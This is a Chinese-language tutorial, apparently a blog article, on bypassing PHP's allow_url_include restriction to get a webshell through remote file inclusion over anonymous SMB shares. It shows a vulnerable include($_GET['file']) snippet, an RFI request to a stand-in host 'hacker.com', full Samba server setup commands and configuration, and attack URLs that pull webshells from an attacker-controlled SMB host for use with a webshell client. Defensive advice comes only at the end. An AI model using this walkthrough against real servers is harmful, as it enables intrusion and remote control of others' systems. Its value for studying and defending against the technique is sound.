RFI绕过URL包含限制Getshell
字数 1151 2025-08-18 11:38:37
绕过URL包含限制实现RFI Getshell技术分析
1. RFI漏洞基础
1.1 文件包含漏洞原理
PHP中最危险的漏洞函数类别之一就是文件包含类函数,包括:
- include
- include_once
- require
- require_once
当这些函数使用$_GET或其他未经过滤的变量时,就构成了主要的安全风险。
1.2 典型漏洞代码示例
<?php
$file = $_GET['file'];
include($file);
?>
在这个代码中:
file参数直接从GET请求获取- 用户可完全控制该参数值
- 参数未经任何处理直接带入PHP文件
1.3 传统RFI攻击方式
攻击者可以构造如下请求:
http://example.com/?file=http://hacker.com/shell.php
前提条件:
- php.ini中设置:
allow_url_fopen=on allow_url_include=on
2. 绕过URL包含限制的技术
2.1 传统限制的缺陷
即使将以下两项设置为"Off":
allow_url_fopen=off
allow_url_include=off
PHP仍然不会阻止SMB URL的加载,这为绕过提供了可能。
2.2 SMB共享文件访问原理
攻击场景:
- 存在漏洞的PHP应用尝试从攻击者控制的SMB共享加载PHP webshell
- SMB共享需配置匿名浏览访问权限
- 漏洞应用访问时,SMB服务器不要求凭据
- 应用成功包含webshell的PHP代码
3. 攻击实施步骤
3.1 环境准备
被攻击主机配置:
- 确保php.ini中:
allow_url_fopen=off allow_url_include=off - 通过
phpinfo()验证配置是否生效
3.2 搭建SMB服务器(Linux)
-
安装SAMBA服务器:
apt-get install samba -
创建共享目录:
mkdir /var/www/html/pub/ -
设置目录权限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/ -
配置SMB服务:
echo > /etc/samba/smb.conf -
编辑
/etc/samba/smb.conf内容:[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ethan] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody -
重启SMB服务:
service smbd restart
3.3 准备Webshell
在共享目录中放置webshell文件:
/var/www/html/pub/ant.php(一句话木马)/var/www/html/pub/poc.php(大马)
3.4 发起攻击
-
通过浏览器访问:
http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\poc.php -
使用中国蚁剑等工具连接一句话木马:
http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\ant.php
4. 防御措施
-
禁用危险函数:
- 在php.ini中禁用
allow_url_include和allow_url_fopen - 但需注意这不能完全防御SMB共享攻击
- 在php.ini中禁用
-
输入过滤:
- 对所有用户输入进行严格过滤
- 使用白名单机制限制包含的文件
-
服务器配置:
- 限制出站SMB连接
- 配置防火墙规则阻止不必要的SMB流量
-
代码审计:
- 检查所有文件包含操作
- 确保不使用未经验证的用户输入作为包含路径
-
文件权限:
- 确保Web目录不可写
- 限制敏感目录的访问权限
5. 技术总结
这种绕过技术的关键点在于:
- 利用PHP对SMB协议的特殊处理
- 即使禁用URL包含,SMB共享仍可被利用
- 需要配置匿名访问的SMB服务器
- 攻击效果与传统RFI相同,但绕过了一些常见防御措施
此技术突破了传统安全思维的限制,展示了安全研究人员需要不断拓宽视野,才能发现和防御各种意想不到的攻击方式。